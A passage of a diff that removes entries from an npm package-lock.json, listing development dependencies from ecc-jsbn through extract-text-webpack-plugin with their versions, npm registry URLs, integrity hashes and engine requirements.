"https://registry.npmjs.org/ecc-jsbn/-/ecc-jsbn-0.1.1.tgz", - "integrity": "sha1-D8c6ntXw1Tw4GTOYUj735UN3dQU=", - "dev": true, - "optional": true, - "dependencies": { - "jsbn": "~0.1.0" - } - }, - "node_modules/editorconfig": { - "version": "0.15.3", - "resolved": "https://registry.npmjs.org/editorconfig/-/editorconfig-0.15.3.tgz", - "integrity": "sha512-M9wIMFx96vq0R4F+gRpY3o2exzb8hEj/n9S8unZtHSvYjibBp/iMufSzvmOcV/laG0ZtuTVGtiJggPOSW2r93g==", - "dev": true, - "dependencies": { - "commander": "^2.19.0", - "lru-cache": "^4.1.5", - "semver": "^5.6.0", - "sigmund": "^1.0.1" - }, - "bin": { - "editorconfig": "bin/editorconfig" - } - }, - "node_modules/editorconfig/node_modules/commander": { - "version": "2.20.0", - "resolved": "https://registry.npmjs.org/commander/-/commander-2.20.0.tgz", - "integrity": "sha512-7j2y+40w61zy6YC2iRNpUe/NwhNyoXrYpHMrSunaMG64nRnaf96zO/KMQR4OyN/UnE5KLyEBnKHd4aG3rskjpQ==", - "dev": true - }, - "node_modules/editorconfig/node_modules/lru-cache": { - "version": "4.1.5", - "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-4.1.5.tgz", - "integrity": "sha512-sWZlbEP2OsHNkXrMl5GYk/jKk70MBng6UU4YI/qGDYbgf6YbP4EvmqISbXCoJiRKs+1bSpFHVgQxvJ17F2li5g==", - "dev": true, - "dependencies": { - "pseudomap": "^1.0.2", - "yallist": "^2.1.2" - } - }, - "node_modules/editorconfig/node_modules/semver": { - "version": "5.7.0", - "resolved": "https://registry.npmjs.org/semver/-/semver-5.7.0.tgz", - "integrity": "sha512-Ya52jSX2u7QKghxeoFGpLwCtGlt7j0oY9DYb5apt9nPlJ42ID+ulTXESnt/qAQcoSERyZ5sl3LDIOw0nAn/5DA==", - "dev": true, - "bin": { - "semver": "bin/semver" - } - }, - "node_modules/electron-to-chromium": { - "version": "1.3.50", - "resolved": "https://registry.npmjs.org/electron-to-chromium/-/electron-to-chromium-1.3.50.tgz", - "integrity": "sha1-dDi3b5K0G5GfP73TUPvQdX2s3fc=", - "dev": true - }, - "node_modules/elliptic": { - "version": "6.4.0", - "resolved": "https://registry.npmjs.org/elliptic/-/elliptic-6.4.0.tgz", - "integrity": "sha1-ysmvh2LIWDYYcAPI3+GT5eLq5d8=", - "dev": true, - "dependencies": { - "bn.js": "^4.4.0", - "brorand": "^1.0.1", - "hash.js": "^1.0.0", - "hmac-drbg": "^1.0.0", - "inherits": "^2.0.1", - "minimalistic-assert": "^1.0.0", - "minimalistic-crypto-utils": "^1.0.0" - } - }, - "node_modules/emojis-list": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/emojis-list/-/emojis-list-2.1.0.tgz", - "integrity": "sha1-TapNnbAPmBmIDHn6RXrlsJof04k=", - "dev": true, - "engines": { - "node": ">= 0.10" - } - }, - "node_modules/encoding": { - "version": "0.1.12", - "resolved": "https://registry.npmjs.org/encoding/-/encoding-0.1.12.tgz", - "integrity": "sha1-U4tm8+5izRq1HsMjgp0flIDHS+s=", - "dev": true, - "dependencies": { - "iconv-lite": "~0.4.13" - } - }, - "node_modules/encoding/node_modules/iconv-lite": { - "version": "0.4.18", - "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.4.18.tgz", - "integrity": "sha512-sr1ZQph3UwHTR0XftSbK85OvBbxe/abLGzEnPENCQwmHf7sck8Oyu4ob3LgBxWWxRoM+QszeUyl7jbqapu2TqA==", - "dev": true, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/end-of-stream": { - "version": "1.4.1", - "resolved": "https://registry.npmjs.org/end-of-stream/-/end-of-stream-1.4.1.tgz", - "integrity": "sha512-1MkrZNvWTKCaigbn+W15elq2BB/L22nqrSY5DKlo3X6+vclJm8Bb5djXJBmEX6fS3+zCh/F4VBK5Z2KxJt4s2Q==", - "dev": true, - "dependencies": { - "once": "^1.4.0" - } - }, - "node_modules/enhanced-resolve": { - "version": "4.3.0", - "resolved": "https://registry.npmjs.org/enhanced-resolve/-/enhanced-resolve-4.3.0.tgz", - "integrity": "sha512-3e87LvavsdxyoCfGusJnrZ5G8SLPOFeHSNpZI/ATL9a5leXo2k0w6MKnbqhdBad9qTobSfB20Ld7UmgoNbAZkQ==", - "dev": true, - "dependencies": { - "graceful-fs": "^4.1.2", - "memory-fs": "^0.5.0", - "tapable": "^1.0.0" - }, - "engines": { - "node": ">=6.9.0" - } - }, - "node_modules/enhanced-resolve/node_modules/memory-fs": { - "version": "0.5.0", - "resolved": "https://registry.npmjs.org/memory-fs/-/memory-fs-0.5.0.tgz", - "integrity": "sha512-jA0rdU5KoQMC0e6ppoNRtpp6vjFq6+NY7r8hywnC7V+1Xj/MtHwGIbB1QaK/dunyjWteJzmkpd7ooeWg10T7GA==", - "dev": true, - "dependencies": { - "errno": "^0.1.3", - "readable-stream": "^2.0.1" - }, - "engines": { - "node": ">=4.3.0 <5.0.0 || >=5.10" - } - }, - "node_modules/entities": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/entities/-/entities-1.0.0.tgz", - "integrity": "sha1-sph6o4ITR/zeZCsk/fyeT7cSvyY=", - "dev": true - }, - "node_modules/err-code": { - "version": "1.1.2", - "resolved": "https://registry.npmjs.org/err-code/-/err-code-1.1.2.tgz", - "integrity": "sha1-BuARbTAo9q70gGhJ6w6mp0iuaWA=", - "dev": true - }, - "node_modules/errno": { - "version": "0.1.7", - "resolved": "https://registry.npmjs.org/errno/-/errno-0.1.7.tgz", - "integrity": "sha512-MfrRBDWzIWifgq6tJj60gkAwtLNb6sQPlcFrSOflcP1aFmmruKQ2wRnze/8V6kgyz7H3FF8Npzv78mZ7XLLflg==", - "dev": true, - "dependencies": { - "prr": "~1.0.1" - }, - "bin": { - "errno": "cli.js" - } - }, - "node_modules/error": { - "version": "7.0.2", - "resolved": "https://registry.npmjs.org/error/-/error-7.0.2.tgz", - "integrity": "sha1-pfdf/02ZJhJt2sDqXcOOaJFTywI=", - "dev": true, - "dependencies": { - "string-template": "~0.2.1", - "xtend": "~4.0.0" - } - }, - "node_modules/error-ex": { - "version": "1.3.1", - "resolved": "https://registry.npmjs.org/error-ex/-/error-ex-1.3.1.tgz", - "integrity": "sha1-+FWobOYa3E6GIcPNoh56dhLDqNw=", - "dev": true, - "dependencies": { - "is-arrayish": "^0.2.1" - } - }, - "node_modules/es-abstract": { - "version": "1.12.0", - "resolved": "https://registry.npmjs.org/es-abstract/-/es-abstract-1.12.0.tgz", - "integrity": "sha512-C8Fx/0jFmV5IPoMOFPA9P9G5NtqW+4cOPit3MIuvR2t7Ag2K15EJTpxnHAYTzL+aYQJIESYeXZmDBfOBE1HcpA==", - "dev": true, - "dependencies": { - "es-to-primitive": "^1.1.1", - "function-bind": "^1.1.1", - "has": "^1.0.1", - "is-callable": "^1.1.3", - "is-regex": "^1.0.4" - }, - "engines": { - "node": ">= 0.4" - } - }, - "node_modules/es-to-primitive": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/es-to-primitive/-/es-to-primitive-1.1.1.tgz", - "integrity": "sha1-RTVSSKiJeQNLZ5Lhm7gfK3l13Q0=", - "dev": true, - "dependencies": { - "is-callable": "^1.1.1", - "is-date-object": "^1.0.1", - "is-symbol": "^1.0.1" - }, - "engines": { - "node": ">= 0.4" - } - }, - "node_modules/es5-ext": { - "version": "0.10.45", - "resolved": "https://registry.npmjs.org/es5-ext/-/es5-ext-0.10.45.tgz", - "integrity": "sha512-FkfM6Vxxfmztilbxxz5UKSD4ICMf5tSpRFtDNtkAhOxZ0EKtX6qwmXNyH/sFyIbX2P/nU5AMiA9jilWsUGJzCQ==", - "dev": true, - "dependencies": { - "es6-iterator": "~2.0.3", - "es6-symbol": "~3.1.1", - "next-tick": "1" - } - }, - "node_modules/es6-iterator": { - "version": "2.0.3", - "resolved": "https://registry.npmjs.org/es6-iterator/-/es6-iterator-2.0.3.tgz", - "integrity": "sha1-p96IkUGgWpSwhUQDstCg+/qY87c=", - "dev": true, - "dependencies": { - "d": "1", - "es5-ext": "^0.10.35", - "es6-symbol": "^3.1.1" - } - }, - "node_modules/es6-map": { - "version": "0.1.5", - "resolved": "https://registry.npmjs.org/es6-map/-/es6-map-0.1.5.tgz", - "integrity": "sha1-kTbgUD3MBqMBaQ8LsU/042TpSfA=", - "dev": true, - "dependencies": { - "d": "1", - "es5-ext": "~0.10.14", - "es6-iterator": "~2.0.1", - "es6-set": "~0.1.5", - "es6-symbol": "~3.1.1", - "event-emitter": "~0.3.5" - } - }, - "node_modules/es6-object-assign": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/es6-object-assign/-/es6-object-assign-1.1.0.tgz", - "integrity": "sha1-wsNYJlYkfDnqEHyx5mUrb58kUjw=", - "dev": true - }, - "node_modules/es6-promise": { - "version": "4.2.4", - "resolved": "https://registry.npmjs.org/es6-promise/-/es6-promise-4.2.4.tgz", - "integrity": "sha512-/NdNZVJg+uZgtm9eS3O6lrOLYmQag2DjdEXuPaHlZ6RuVqgqaVZfgYCepEIKsLqwdQArOPtC3XzRLqGGfT8KQQ==", - "dev": true - }, - "node_modules/es6-set": { - "version": "0.1.5", - "resolved": "https://registry.npmjs.org/es6-set/-/es6-set-0.1.5.tgz", - "integrity": "sha1-0rPsXU2ADO2BjbU40ol02wpzzLE=", - "dev": true, - "dependencies": { - "d": "1", - "es5-ext": "~0.10.14", - "es6-iterator": "~2.0.1", - "es6-symbol": "3.1.1", - "event-emitter": "~0.3.5" - } - }, - "node_modules/es6-symbol": { - "version": "3.1.1", - "resolved": "https://registry.npmjs.org/es6-symbol/-/es6-symbol-3.1.1.tgz", - "integrity": "sha1-vwDvT9q2uhtG7Le2KbTH7VcVzHc=", - "dev": true, - "dependencies": { - "d": "1", - "es5-ext": "~0.10.14" - } - }, - "node_modules/es6-weak-map": { - "version": "2.0.2", - "resolved": "https://registry.npmjs.org/es6-weak-map/-/es6-weak-map-2.0.2.tgz", - "integrity": "sha1-XjqzIlH/0VOKH45f+hNXdy+S2W8=", - "dev": true, - "dependencies": { - "d": "1", - "es5-ext": "^0.10.14", - "es6-iterator": "^2.0.1", - "es6-symbol": "^3.1.1" - } - }, - "node_modules/escalade": { - "version": "3.0.2", - "resolved": "https://registry.npmjs.org/escalade/-/escalade-3.0.2.tgz", - "integrity": "sha512-gPYAU37hYCUhW5euPeR+Y74F7BL+IBsV93j5cvGriSaD1aG6MGsqsV1yamRdrWrb2j3aiZvb0X+UBOWpx3JWtQ==", - "dev": true, - "engines": { - "node": ">=6" - } - }, - "node_modules/escape-string-regexp": { - "version": "1.0.5", - "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-1.0.5.tgz", - "integrity": "sha1-G2HAViGQqN/2rjuyzwIAyhMLhtQ=", - "engines": { - "node": ">=0.8.0" - } - }, - "node_modules/escope": { - "version": "3.6.0", - "resolved": "https://registry.npmjs.org/escope/-/escope-3.6.0.tgz", - "integrity": "sha1-4Bl16BJ4GhY6ba392AOY3GTIicM=", - "dev": true, - "dependencies": { - "es6-map": "^0.1.3", - "es6-weak-map": "^2.0.1", - "esrecurse": "^4.1.0", - "estraverse": "^4.1.1" - }, - "engines": { - "node": ">=0.4.0" - } - }, - "node_modules/eslint": { - "version": "4.19.1", - "resolved": "https://registry.npmjs.org/eslint/-/eslint-4.19.1.tgz", - "integrity": "sha512-bT3/1x1EbZB7phzYu7vCr1v3ONuzDtX8WjuM9c0iYxe+cq+pwcKEoQjl7zd3RpC6YOLgnSy3cTN58M2jcoPDIQ==", - "dev": true, - "dependencies": { - "ajv": "^5.3.0", - "babel-code-frame": "^6.22.0", - "chalk": "^2.1.0", - "concat-stream": "^1.6.0", - "cross-spawn": "^5.1.0", - "debug": "^3.1.0", - "doctrine": "^2.1.0", - "eslint-scope": "^3.7.1", - "eslint-visitor-keys": "^1.0.0", - "espree": "^3.5.4", - "esquery": "^1.0.0", - "esutils": "^2.0.2", - "file-entry-cache": "^2.0.0", - "functional-red-black-tree": "^1.0.1", - "glob": "^7.1.2", - "globals": "^11.0.1", - "ignore": "^3.3.3", - "imurmurhash": "^0.1.4", - "inquirer": "^3.0.6", - "is-resolvable": "^1.0.0", - "js-yaml": "^3.9.1", - "json-stable-stringify-without-jsonify": "^1.0.1", - "levn": "^0.3.0", - "lodash": "^4.17.4", - "minimatch": "^3.0.2", - "mkdirp": "^0.5.1", - "natural-compare": "^1.4.0", - "optionator": "^0.8.2", - "path-is-inside": "^1.0.2", - "pluralize": "^7.0.0", - "progress": "^2.0.0", - "regexpp": "^1.0.1", - "require-uncached": "^1.0.3", - "semver": "^5.3.0", - "strip-ansi": "^4.0.0", - "strip-json-comments": "~2.0.1", - "table": "4.0.2", - "text-table": "~0.2.0" - }, - "bin": { - "eslint": "bin/eslint.js" - }, - "engines": { - "node": ">=4" - } - }, - "node_modules/eslint-loader": { - "version": "1.9.0", - "resolved": "https://registry.npmjs.org/eslint-loader/-/eslint-loader-1.9.0.tgz", - "integrity": "sha1-fhvp/t3KMo09z67xrUnVvv/oOhM=", - "deprecated": "This loader has been deprecated. Please use eslint-webpack-plugin", - "dev": true, - "dependencies": { - "loader-fs-cache": "^1.0.0", - "loader-utils": "^1.0.2", - "object-assign": "^4.0.1", - "object-hash": "^1.1.4", - "rimraf": "^2.6.1" - }, - "peerDependencies": { - "eslint": ">=1.6.0 <5.0.0" - } - }, - "node_modules/eslint-scope": { - "version": "3.7.1", - "resolved": "https://registry.npmjs.org/eslint-scope/-/eslint-scope-3.7.1.tgz", - "integrity": "sha1-PWPD7f2gLgbgGkUq2IyqzHzctug=", - "dev": true, - "dependencies": { - "esrecurse": "^4.1.0", - "estraverse": "^4.1.1" - }, - "engines": { - "node": ">=4.0.0" - } - }, - "node_modules/eslint-visitor-keys": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/eslint-visitor-keys/-/eslint-visitor-keys-1.0.0.tgz", - "integrity": "sha512-qzm/XxIbxm/FHyH341ZrbnMUpe+5Bocte9xkmFMzPMjRaZMcXww+MpBptFvtU+79L362nqiLhekCxCxDPaUMBQ==", - "dev": true, - "engines": { - "node": ">=4" - } - }, - "node_modules/eslint/node_modules/ansi-regex": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-3.0.0.tgz", - "integrity": "sha1-7QMXwyIGT3lGbAKWa922Bas32Zg=", - "dev": true, - "engines": { - "node": ">=4" - } - }, - "node_modules/eslint/node_modules/ansi-styles": { - "version": "3.2.1", - "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.1.tgz", - "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==", - "dev": true, - "dependencies": { - "color-convert": "^1.9.0" - }, - "engines": { - "node": ">=4" - } - }, - "node_modules/eslint/node_modules/chalk": { - "version": "2.4.1", - "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.4.1.tgz", - "integrity": "sha512-ObN6h1v2fTJSmUXoS3nMQ92LbDK9be4TV+6G+omQlGJFdcUX5heKi1LZ1YnRMIgwTLEj3E24bT6tYni50rlCfQ==", - "dev": true, - "dependencies": { - "ansi-styles": "^3.2.1", - "escape-string-regexp": "^1.0.5", - "supports-color": "^5.3.0" - }, - "engines": { - "node": ">=4" - } - }, - "node_modules/eslint/node_modules/color-convert": { - "version": "1.9.2", - "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-1.9.2.tgz", - "integrity": "sha512-3NUJZdhMhcdPn8vJ9v2UQJoH0qqoGUkYTgFEPZaPjEtwmmKUfNV46zZmgB2M5M4DCEQHMaCfWHCxiBflLm04Tg==", - "dev": true, - "dependencies": { - "color-name": "1.1.1" - } - }, - "node_modules/eslint/node_modules/color-name": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.1.tgz", - "integrity": "sha1-SxQVMEz1ACjqgWQ2Q72C6gWANok=", - "dev": true - }, - "node_modules/eslint/node_modules/concat-stream": { - "version": "1.6.2", - "resolved": "https://registry.npmjs.org/concat-stream/-/concat-stream-1.6.2.tgz", - "integrity": "sha512-27HBghJxjiZtIk3Ycvn/4kbJk/1uZuJFfuPEns6LaEvpvG1f0hTea8lilrouyo9mVc2GWdcEZ8OLoGmSADlrCw==", - "dev": true, - "engines": [ - "node >= 0.8" - ], - "dependencies": { - "buffer-from": "^1.0.0", - "inherits": "^2.0.3", - "readable-stream": "^2.2.2", - "typedarray": "^0.0.6" - } - }, - "node_modules/eslint/node_modules/debug": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/debug/-/debug-3.1.0.tgz", - "integrity": "sha512-OX8XqP7/1a9cqkxYw2yXss15f26NKWBpDXQd0/uK/KPqdQhxbPa994hnzjcE2VqQpDslf55723cKPUOGSmMY3g==", - "dev": true, - "dependencies": { - "ms": "2.0.0" - } - }, - "node_modules/eslint/node_modules/esprima": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/esprima/-/esprima-4.0.0.tgz", - "integrity": "sha512-oftTcaMu/EGrEIu904mWteKIv8vMuOgGYo7EhVJJN00R/EED9DCua/xxHRdYnKtcECzVg7xOWhflvJMnqcFZjw==", - "dev": true, - "bin": { - "esparse": "bin/esparse.js", - "esvalidate": "bin/esvalidate.js" - }, - "engines": { - "node": ">=4" - } - }, - "node_modules/eslint/node_modules/glob": { - "version": "7.1.2", - "resolved": "https://registry.npmjs.org/glob/-/glob-7.1.2.tgz", - "integrity": "sha512-MJTUg1kjuLeQCJ+ccE4Vpa6kKVXkPYJ2mOCQyUuKLcLQsdrMCpBPUi8qVE6+YuaJkozeA9NusTAw3hLr8Xe5EQ==", - "dev": true, - "dependencies": { - "fs.realpath": "^1.0.0", - "inflight": "^1.0.4", - "inherits": "2", - "minimatch": "^3.0.4", - "once": "^1.3.0", - "path-is-absolute": "^1.0.0" - }, - "engines": { - "node": "*" - } - }, - "node_modules/eslint/node_modules/globals": { - "version": "11.7.0", - "resolved": "https://registry.npmjs.org/globals/-/globals-11.7.0.tgz", - "integrity": "sha512-K8BNSPySfeShBQXsahYB/AbbWruVOTyVpgoIDnl8odPpeSfP2J5QO2oLFFdl2j7GfDCtZj2bMKar2T49itTPCg==", - "dev": true, - "engines": { - "node": ">=4" - } - }, - "node_modules/eslint/node_modules/has-flag": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz", - "integrity": "sha1-tdRU3CGZriJWmfNGfloH87lVuv0=", - "dev": true, - "engines": { - "node": ">=4" - } - }, - "node_modules/eslint/node_modules/js-yaml": { - "version": "3.12.0", - "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-3.12.0.tgz", - "integrity": "sha512-PIt2cnwmPfL4hKNwqeiuz4bKfnzHTBv6HyVgjahA6mPLwPDzjDWrplJBMjHUFxku/N3FlmrbyPclad+I+4mJ3A==", - "dev": true, - "dependencies": { - "argparse": "^1.0.7", - "esprima": "^4.0.0" - }, - "bin": { - "js-yaml": "bin/js-yaml.js" - } - }, - "node_modules/eslint/node_modules/lodash": { - "version": "4.17.10", - "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.10.tgz", - "integrity": "sha512-UejweD1pDoXu+AD825lWwp4ZGtSwgnpZxb3JDViD7StjQz+Nb/6l093lx4OQ0foGWNRoc19mWy7BzL+UAK2iVg==", - "dev": true - }, - "node_modules/eslint/node_modules/progress": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/progress/-/progress-2.0.0.tgz", - "integrity": "sha1-ihvjZr+Pwj2yvSPxDG/pILQ4nR8=", - "dev": true, - "engines": { - "node": ">=0.4.0" - } - }, - "node_modules/eslint/node_modules/strip-ansi": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-4.0.0.tgz", - "integrity": "sha1-qEeQIusaw2iocTibY1JixQXuNo8=", - "dev": true, - "dependencies": { - "ansi-regex": "^3.0.0" - }, - "engines": { - "node": ">=4" - } - }, - "node_modules/eslint/node_modules/supports-color": { - "version": "5.4.0", - "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.4.0.tgz", - "integrity": "sha512-zjaXglF5nnWpsq470jSv6P9DwPvgLkuapYmfDm3JWOm0vkNTVF2tI4UrN2r6jH1qM/uc/WtxYY1hYoA2dOKj5w==", - "dev": true, - "dependencies": { - "has-flag": "^3.0.0" - }, - "engines": { - "node": ">=4" - } - }, - "node_modules/espree": { - "version": "3.5.4", - "resolved": "https://registry.npmjs.org/espree/-/espree-3.5.4.tgz", - "integrity": "sha512-yAcIQxtmMiB/jL32dzEp2enBeidsB7xWPLNiw3IIkpVds1P+h7qF9YwJq1yUNzp2OKXgAprs4F61ih66UsoD1A==", - "dev": true, - "dependencies": { - "acorn": "^5.5.0", - "acorn-jsx": "^3.0.0" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/espree/node_modules/acorn": { - "version": "5.7.1", - "resolved": "https://registry.npmjs.org/acorn/-/acorn-5.7.1.tgz", - "integrity": "sha512-d+nbxBUGKg7Arpsvbnlq61mc12ek3EY8EQldM3GPAhWJ1UVxC6TDGbIvUMNU6obBX3i1+ptCIzV4vq0gFPEGVQ==", - "dev": true, - "bin": { - "acorn": "bin/acorn" - }, - "engines": { - "node": ">=0.4.0" - } - }, - "node_modules/esprima": { - "version": "2.7.3", - "resolved": "https://registry.npmjs.org/esprima/-/esprima-2.7.3.tgz", - "integrity": "sha1-luO3DVd59q1JzQMmc9HDEnZ7pYE=", - "dev": true, - "bin": { - "esparse": "bin/esparse.js", - "esvalidate": "bin/esvalidate.js" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/esquery": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/esquery/-/esquery-1.0.1.tgz", - "integrity": "sha512-SmiyZ5zIWH9VM+SRUReLS5Q8a7GxtRdxEBVZpm98rJM7Sb+A9DVCndXfkeFUd3byderg+EbDkfnevfCwynWaNA==", - "dev": true, - "dependencies": { - "estraverse": "^4.0.0" - }, - "engines": { - "node": ">=0.6" - } - }, - "node_modules/esrecurse": { - "version": "4.2.1", - "resolved": "https://registry.npmjs.org/esrecurse/-/esrecurse-4.2.1.tgz", - "integrity": "sha512-64RBB++fIOAXPw3P9cy89qfMlvZEXZkqqJkjqqXIvzP5ezRZjW+lPWjw35UX/3EhUPFYbg5ER4JYgDw4007/DQ==", - "dev": true, - "dependencies": { - "estraverse": "^4.1.0" - }, - "engines": { - "node": ">=4.0" - } - }, - "node_modules/estraverse": { - "version": "4.2.0", - "resolved": "https://registry.npmjs.org/estraverse/-/estraverse-4.2.0.tgz", - "integrity": "sha1-De4/7TH81GlhjOc0IJn8GvoL2xM=", - "dev": true, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/esutils": { - "version": "2.0.2", - "resolved": "https://registry.npmjs.org/esutils/-/esutils-2.0.2.tgz", - "integrity": "sha1-Cr9PHKpbyx96nYrMbepPqqBLrJs=", - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/event-emitter": { - "version": "0.3.5", - "resolved": "https://registry.npmjs.org/event-emitter/-/event-emitter-0.3.5.tgz", - "integrity": "sha1-34xp7vFkeSPHFXuc6DhAYQsCzDk=", - "dev": true, - "dependencies": { - "d": "1", - "es5-ext": "~0.10.14" - } - }, - "node_modules/eventemitter2": { - "version": "0.4.14", - "resolved": "https://registry.npmjs.org/eventemitter2/-/eventemitter2-0.4.14.tgz", - "integrity": "sha1-j2G3XN4BKy6esoTUVFWDtWQ7Yas=", - "dev": true - }, - "node_modules/events": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/events/-/events-1.1.1.tgz", - "integrity": "sha1-nr23Y1rQmccNzEwqH1AEKI6L2SQ=", - "dev": true, - "engines": { - "node": ">=0.4.x" - } - }, - "node_modules/evp_bytestokey": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/evp_bytestokey/-/evp_bytestokey-1.0.0.tgz", - "integrity": "sha1-SXtmrZ/vZc18CKYYCCS6FHa2blM=", - "dev": true, - "dependencies": { - "create-hash": "^1.1.1" - } - }, - "node_modules/exec-sh": { - "version": "0.2.2", - "resolved": "https://registry.npmjs.org/exec-sh/-/exec-sh-0.2.2.tgz", - "integrity": "sha512-FIUCJz1RbuS0FKTdaAafAByGS0CPvU3R0MeHxgtl+djzCc//F8HakL8GzmVNZanasTbTAY/3DRFA0KpVqj/eAw==", - "dev": true, - "dependencies": { - "merge": "^1.2.0" - } - }, - "node_modules/execa": { - "version": "0.7.0", - "resolved": "https://registry.npmjs.org/execa/-/execa-0.7.0.tgz", - "integrity": "sha1-lEvs00zEHuMqY6n68nrVpl/Fl3c=", - "dev": true, - "dependencies": { - "cross-spawn": "^5.0.1", - "get-stream": "^3.0.0", - "is-stream": "^1.1.0", - "npm-run-path": "^2.0.0", - "p-finally": "^1.0.0", - "signal-exit": "^3.0.0", - "strip-eof": "^1.0.0" - }, - "engines": { - "node": ">=4" - } - }, - "node_modules/exit": { - "version": "0.1.2", - "resolved": "https://registry.npmjs.org/exit/-/exit-0.1.2.tgz", - "integrity": "sha1-BjJjj42HfMghB9MKD/8aF8uhzQw=", - "dev": true, - "engines": { - "node": ">= 0.8.0" - } - }, - "node_modules/expand-brackets": { - "version": "0.1.5", - "resolved": "https://registry.npmjs.org/expand-brackets/-/expand-brackets-0.1.5.tgz", - "integrity": "sha1-3wcoTjQqgHzXM6xa9yQR5YHRF3s=", - "dev": true, - "dependencies": { - "is-posix-bracket": "^0.1.0" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/expand-range": { - "version": "1.8.2", - "resolved": "https://registry.npmjs.org/expand-range/-/expand-range-1.8.2.tgz", - "integrity": "sha1-opnv/TNf4nIeuujiV+x5ZE/IUzc=", - "dev": true, - "dependencies": { - "fill-range": "^2.1.0" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/expand-template": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/expand-template/-/expand-template-1.1.0.tgz", - "integrity": "sha512-kkjwkMqj0h4w/sb32ERCDxCQkREMCAgS39DscDnSwDsbxnwwM1BTZySdC3Bn1lhY7vL08n9GoO/fVTynjDgRyQ==", - "dev": true, - "optional": true - }, - "node_modules/extend": { - "version": "3.0.1", - "resolved": "https://registry.npmjs.org/extend/-/extend-3.0.1.tgz", - "integrity": "sha1-p1Xqe8Gt/MWjHOfnYtuq3F5jZEQ=", - "dev": true, - "optional": true - }, - "node_modules/extend-shallow": { - "version": "3.0.2", - "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-3.0.2.tgz", - "integrity": "sha1-Jqcarwc7OfshJxcnRhMcJwQCjbg=", - "dev": true, - "dependencies": { - "assign-symbols": "^1.0.0", - "is-extendable": "^1.0.1" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/extend-shallow/node_modules/is-extendable": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/is-extendable/-/is-extendable-1.0.1.tgz", - "integrity": "sha512-arnXMxT1hhoKo9k1LZdmlNyJdDDfy2v0fXjFlmok4+i8ul/6WlbVge9bhM74OpNPQPMGUToDtz+KXa1PneJxOA==", - "dev": true, - "dependencies": { - "is-plain-object": "^2.0.4" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/external-editor": { - "version": "2.2.0", - "resolved": "https://registry.npmjs.org/external-editor/-/external-editor-2.2.0.tgz", - "integrity": "sha512-bSn6gvGxKt+b7+6TKEv1ZycHleA7aHhRHyAqJyp5pbUFuYYNIzpZnQDk7AsYckyWdEnTeAnay0aCy2aV6iTk9A==", - "dev": true, - "dependencies": { - "chardet": "^0.4.0", - "iconv-lite": "^0.4.17", - "tmp": "^0.0.33" - }, - "engines": { - "node": ">=0.12" - } - }, - "node_modules/extglob": { - "version": "0.3.2", - "resolved": "https://registry.npmjs.org/extglob/-/extglob-0.3.2.tgz", - "integrity": "sha1-Lhj/PS9JqydlzskCPwEdqo2DSaE=", - "dev": true, - "dependencies": { - "is-extglob": "^1.0.0" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/extract-text-webpack-plugin": { - "version": "3.0.2", - "resolved": "https://registry.npmjs.org/extract-text-webpack-plugin/-/extract-text-webpack-plugin-3.0.2.tgz", - "integrity": "sha512-bt/LZ4m5Rqt/Crl2HiKuAl/oqg0psx1tsTLkvWbJen1CtD+fftkZhMaQ9HOtY2gWsl2Wq+sABmMVi9z3DhKWQQ==", - "deprecated": "Deprecated. Please use https://github.com/webpack-contrib/mini-css-extract-plugin", - "dev": true, - "dependencies": { - "async": "^2.4.1", - "loader-utils": "^1.1.0", - "schema-utils": "^0.3.0", - "webpack-sources": "^1.0.1" - }, - "engines": { - "node": ">= 4.8 < 5.0.0 || >= 5.10" - }, - "peerDependencies": { - "webpack": "^3.1.0" - } - }, - "node_modules/extract-text-webpack-plugin/node_modules/async": { - "version": "2.6.1", - "resolved": "https://registry.npmjs.org/async/-/async-2.6.1.tgz", - "integrity": "sha512-fNEiL2+AZt6AlAw/29Cr0UDe4sRAHCpEHh54WMz+Bb7QfNcFw4h3loofyJpLeQs4Yx7yuqu/2dLgM5hKOs6HlQ==", - "dev": true, - "dependencies": { - "lodash": "^4.17.10" - } - }, - "node_modules/extract-text-webpack-plugin/node_modules/schema-utils": { - "version": "0.3.0", - "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-0.3.0.tgz", - "integrity": "sha1-9YdyIs4+kx7a4DnxfrNxbnE3+M8=", - 